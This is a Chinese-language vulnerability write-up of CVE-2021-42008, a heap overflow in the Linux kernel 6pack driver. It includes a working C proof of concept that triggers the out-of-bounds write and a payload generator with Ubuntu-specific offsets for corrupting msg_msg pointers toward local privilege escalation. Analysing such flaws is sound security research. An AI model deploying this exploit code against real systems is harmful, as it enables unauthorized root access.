CVE-2021-42008 6pack协议
漏洞简介
漏洞编号: CVE-2021-42008
漏洞产品: linux kernel - 6pack
影响版本: linux kernel 2 ~ linux kernel 5.13.12
漏洞危害: 在拥有cap_net_raw,cap_net_admin cap权限的情况下可以本地提权
源码获取:git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1
环境搭建
编译ubuntu deb方法即可,参考:https://blog.csdn.net/Breeze_CAT/article/details/123787636?spm=1001.2014.3001.5502
需要配置的编译选项:
CONFIG_6PACK=y
CONFIG_AX25=y
CONFIG_E1000=y
CONFIG_E1000E=y
init脚本,需要配置网卡ip,需要cap 权限的话,建议root 调试:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
# kcov
mount -t debugfs none /sys/kernel/debug
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict
chmod 777 /dev/ptmx
ifconfig lo 127.0.0.1
route add -net 127.0.0.0 netmask 255.255.255.0 lo
ifconfig eth0 192.168.21.0
route add -net 192.168.21.0 netmask 255.255.255.0 eth0
setsid /bin/cttyhack setuidgid 0 /bin/sh #root 调试无需配置cap,导入deb包啥的
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
漏洞原理
关于6pack 的初始化和相关代码 bsauce 大佬分析的很明白了,这里不详细分析了,移步:https://bsauce.github.io/2021/12/09/CVE-2021-42008/
漏洞发生点
直接说几个重点,先看越界写处:
linux\drivers\net\hamradio\6pack.c : decode_data
static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
unsigned char *buf;
if (sp->rx_count != 3) {//先将三个字节存放在sp->raw_buf 中
sp->raw_buf[sp->rx_count++] = inbyte;
return;
}
buf = sp->raw_buf;//然后对这三个字节进行解码处理,存放在sp->cooked_buf 中
sp->cooked_buf[sp->rx_count_cooked++] =
buf[0] | ((buf[1] << 2) & 0xc0);
sp->cooked_buf[sp->rx_count_cooked++] =
(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
sp->cooked_buf[sp->rx_count_cooked++] =
(buf[2] & 0x03) | (inbyte << 2);
sp->rx_count = 0;//sp->raw_buf 计数器清零
}
decode_data函数会在sixpack_decode 中调用,只要用户传入的解码字符串还没有解码完毕,就会循环调用:
linux\drivers\net\hamradio\6pack.c : sixpack_decode
static void
sixpack_decode(struct sixpack *sp, const unsigned char *pre_rbuff, int count)
{
unsigned char inbyte;
int count1;
for (count1 = 0; count1 < count; count1++) {
inbyte = pre_rbuff[count1];
if (inbyte == SIXP_FOUND_TNC) {
tnc_set_sync_state(sp, TNC_IN_SYNC);
del_timer(&sp->resync_t);
}
if ((inbyte & SIXP_PRIO_CMD_MASK) != 0)
decode_prio_command(sp, inbyte);
else if ((inbyte & SIXP_STD_CMD_MASK) != 0)
decode_std_command(sp, inbyte);
else if ((sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)
decode_data(sp, inbyte);
}
}
在这两个函数之中并没有任何对sp->cooked_buf 的边界检查,也就是说如果用户传入的足够长,就会造成缓冲区溢出。查看被溢出结构体struct sixpack:
struct sixpack {
/* Various fields. */
struct tty_struct *tty; /* ptr to TTY structure */
struct net_device *dev; /* easy for intr handling */
/* These are pointers to the malloc()ed frame buffers. */
unsigned char *rbuff; /* receiver buffer */
int rcount; /* received chars counter */
unsigned char *xbuff; /* transmitter buffer */
unsigned char *xhead; /* next byte to XMIT */
int xleft; /* bytes left in XMIT queue */
unsigned char raw_buf[4]; //三个字节暂存区域
unsigned char cooked_buf[400];//被溢出缓冲区
unsigned int rx_count; //暂存区raw_buf 下标
unsigned int rx_count_cooked;//cooked_buf 下标
··· ···
};
根据结构体我们发现,缓冲区的下标就在缓冲区之后,如果溢出就要考虑修改了下标的问题,我们一会讨论。先看一下这个结构体的堆分配大小,在sixpack_open -> alloc_netdev_mqs 中分配:
linux\drivers\net\hamradio\6pack.c : sixpack_open
static int sixpack_open(struct tty_struct *tty)
{
··· ···
dev = alloc_netdev(sizeof(struct sixpack), "sp%d", NET_NAME_UNKNOWN,
sp_setup);
··· ···
}
linux\net\core\dev.c : alloc_netdev_mqs
struct net_device *alloc_netdev_mqs(int sizeof_priv, const char *name,
unsigned char name_assign_type,
void (*setup)(struct net_device *),
unsigned int txqs, unsigned int rxqs)
{
··· ···
alloc_size = sizeof(struct net_device);
if (sizeof_priv) {
/* ensure 32-byte alignment of private area */
alloc_size = ALIGN(alloc_size, NETDEV_ALIGN);
alloc_size += sizeof_priv;
}
/* ensure 32-byte alignment of whole construct */
alloc_size += NETDEV_ALIGN - 1;
p = kvzalloc(alloc_size, GFP_KERNEL | __GFP_RETRY_MAYFAIL);
if (!p)
return NULL;
··· ···
}
根据如上代码可以看出,实际结构体所在堆是分配了net_device 结构体和 sixpack 结构体,sixpack属于net_device 的私有数据,总大小是sizeof(struct net_device)+sizeof(struct sixpack) 属于kmalloc-4k,也就是1页大小,kmalloc-4k的溢出也是很常见了。
poc
直接使用如下poc 可以触发越界写:
#include<stdio.h>
#include <sys/ioctl.h>
#define N_6PACK 7
char buff[4096] = {0};
char *payload;
int writeLen;
int open_ptmx(void)
{
int ptmx;
ptmx = getpt();
if (ptmx < 0)
{
perror("[X] open_ptmx()");
exit(1);
}
grantpt(ptmx);
unlockpt(ptmx);
return ptmx;
}
int open_pts(int fd)
{
int pts;
pts = open(ptsname(fd), 0, 0);
if (pts < 0)
{
perror("[X] open_pts()");
exit(1);
}
return pts;
}
void set_line_discipline(int fd, int ldisc)
{
if (ioctl(fd, TIOCSETD, &ldisc) < 0)
{
perror("[X] ioctl() TIOCSETD");
exit(1);
}
}
int init_sixpack()
{
int ptmx, pts;
ptmx = open_ptmx();
pts = open_pts(ptmx);
set_line_discipline(pts, N_6PACK);
return ptmx;
}
char *sixpack_encode(char *src, int plen)
{
char *dest = (char *)calloc(1, 0x3000);
int raw_count = 2;
for (int count = 0; count <= plen; count++)
{
if ((count % 3) == 0)
{
dest[raw_count++] = (src[count] & 0x3f);
dest[raw_count] = ((src[count] >> 2) & 0x30);
}
else if ((count % 3) == 1)
{
dest[raw_count++] |= (src[count] & 0x0f);
dest[raw_count] = ((src[count] >> 2) & 0x3c);
}
else
{
dest[raw_count++] |= (src[count] & 0x03);
dest[raw_count++] = (src[count] >> 2);
}
}
writeLen=raw_count;
return dest;
}
char *generate_payload(size_t target)
{
char *encoded;
memset(buff, 0x41, 4096);
if (target)
{
for (int i = 0; i < sizeof(size_t); i++)
buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
}
encoded = sixpack_encode(buff, 4096);
// sp->status = 0x18 (to reach decode_data())
encoded[0] = 0x88;
encoded[1] = 0x98;
return encoded;
}
void main()
{
int ptmx = init_sixpack();
payload = generate_payload(0);
write(ptmx, payload, writeLen);
}
GCC优化
根据上面溢出部分代码分析,可以得知,每次调用三次将缓存raw_buf 填满之后,会写入cooked_buf。一次写入三个字节,我们会发现一个问题,由于控制向cooked_buf 中写入位置的下标rx_count_cooked 是在cooked_buf 的后面,一旦溢出覆盖到rx_count_cooked 之后,下次就可以跳到我们修改的下标位置开始写,这个特点有好有坏,好处是我们可以控制溢出位置,坏处要先看一段GCC优化之后的汇编(copy from bsauce博客):
static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
unsigned char *buf;
[...]
buf = sp->raw_buf;
sp->cooked_buf[sp->rx_count_cooked++] =
buf[0] | ((buf[1] << 2) & 0xc0);
sp->cooked_buf[sp->rx_count_cooked++] =
(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
sp->cooked_buf[sp->rx_count_cooked++] =
(buf[2] & 0x03) | (inbyte << 2);
sp->rx_count = 0;
}
decode_data + 00: nop DWORD PTR [rax+rax*1+0x0]
decode_data + 05: movzx r8d,BYTE PTR [rdi+0x35] // r8d = sp->raw_buf[1]
decode_data + 10: [1] mov eax,DWORD PTR [rdi+0x1cc] // eax = sp->rx_count_cooked
decode_data + 16: shl esi,0x2
decode_data + 19: lea edx,[r8*4+0x0]
decode_data + 27: [2] mov rcx,rax // rcx = sp->rx_count_cooked
decode_data + 30: lea r9d,[rax+0x1] // r9d = sp->rx_count_cooked + 1
decode_data + 34: and r8d,0xf
decode_data + 38: and edx,0xffffffc0
decode_data + 41: or dl,BYTE PTR [rdi+0x34] // dl or sp->raw_buf[0]
decode_data + 44: [3] mov BYTE PTR [rdi+rax*1+0x38],dl // Write 1st decoded byte in sp->cooked_buf
decode_data + 48: movzx edx,BYTE PTR [rdi+0x36] // eax = sp->raw_buf[2]
decode_data + 52: lea eax,[rdx*4+0x0]
decode_data + 59: and edx,0x3
decode_data + 62: and eax,0xfffffff0
decode_data + 65: or esi,edx
decode_data + 67: or eax,r8d
decode_data + 70: [4] mov BYTE PTR [rdi+r9*1+0x38],al // Write 2nd decoded byte in sp->cooked_buf
decode_data + 75: lea eax,[rcx+0x3] // eax = sp->rx_count_cooked + 3
decode_data + 78: [5] mov DWORD PTR [rdi+0x1cc],eax // sp->rx_count_cooked = sp->rx_count_cooked + 3
decode_data + 84: lea eax,[rcx+0x2] // eax = sp->rx_count_cooked + 2
decode_data + 87: [6] mov BYTE PTR [rdi+rax*1+0x38],sil // Write 3rd decoded byte in sp->cooked_buf
decode_data + 92: mov DWORD PTR [rdi+0x1c8],0x0 // sp->rx_count = 0
decode_data + 102: ret
大概意思就是,正常的流程应该是:
- 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
- sp->rx_count_cooked 加一
- 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
- sp->rx_count_cooked 加一
- 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
- sp->rx_count_cooked 加一
一旦sp->rx_count_cooked 被溢出覆盖案例说下面的写将直接被我们控制。但实际上GCC优化之后,变成了
- tmp = sp->rx_count_cooked
- 向sp->cooked_buf[tmp] 写入一个字节
- 向sp->cooked_buf[tmp+1] 写入一个字节
- sp->rx_count_cooked=tmp+3
- 向sp->cooked_buf[tmp+2] 写入一个字节
也就是说,如果我们在溢出的前两个字节修改了sp->rx_count_cooked 的话算是无效修改,因为在拷贝完前两个字节之后,会将sp->rx_count_cooked 重置为它+3 的值,我们只能在第三个字节修改到sp->rx_count_cooked 才可以的一个字节,而由于sp->rx_count_cooked 和cooked_buf 的偏移是固定的,第一次第三个字节只能修改到sp->rx_count_cooked 的最低位。最低位修改对我们帮助并不大,就算改到最大0xff,总sp->rx_count_cooked 也就是0x1ff,甚至跳不出sixpack 结构体。
所以理想状态就是可以让第三个字节正好覆盖sp->rx_count_cooked 的第二字节或更高,这样可以越界跳的更远一些,跳出sixpack 结构体避免崩溃。这就需要我们先将sp->rx_count_cooked 改的小一些,然后回到之前重新修改让第三位可以正好覆盖到sp->rx_count_cooked 的高位:
第一次覆盖到sp->rx_count_cooked为红色,第二次为蓝色。
漏洞利用
这里采用"堆溢出漏洞的胜利方程式"的利用方法,不对原本方法进行分析。
计算越界偏移
根据胜利方程式的前提条件,我们假定将4k大小的msg_msg申请到sixpack 结构体的后面,想要溢出覆盖msg_msg->m_listr_next 低两字节为0x00。之前已经提到,可以通过覆盖sp->rx_count_cooked 来跳过sixpack 结构体进行后续溢出操作,但由于每次溢出都是3的倍数,我们指向该低两字节的msg_msg->m_list_next,那么就需要计算从何处开始写才能正好覆盖2字节,难点就是,根据上图我们第二次越界写(蓝色)覆盖sp->rx_count_cooked 的时候也是只能覆盖一位,那么低位就是固定的,所以我们必须以0x100为单位往后跳。当然这里我已经计算完毕,直接公布答案就行(ubuntu 内核下):
uint8_t *generate_payload(uint64_t target)
{
uint8_t *encoded;
memset(buff, 0, PAGE_SIZE);
buff[0x194] = 0x90;
buff[0x19a] = 0x05;
memset(&(buff[0x19b]), 0, 0xb4);
if (target)
{
for (int i = 0; i < sizeof(uint64_t); i++)
buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
}
//encoded = sixpack_encode(buff,0x19b+243+0x200-1+2);//orgkernel
encoded = sixpack_encode(buff,0x19b+0xb4);
// sp->status = 0x18 (to reach decode_data())
encoded[0] = 0x88;
encoded[1] = 0x98;
return encoded;
}
这样可以正好覆盖msg_msg->m_listr_next 低两字节为0x00。
直接胜利方程式
接下里的步骤就直接套胜利方程式即可,详见"内核堆漏洞的胜利方程式"。
参考
https://bsauce.github.io/2021/12/09/CVE-2021-42008/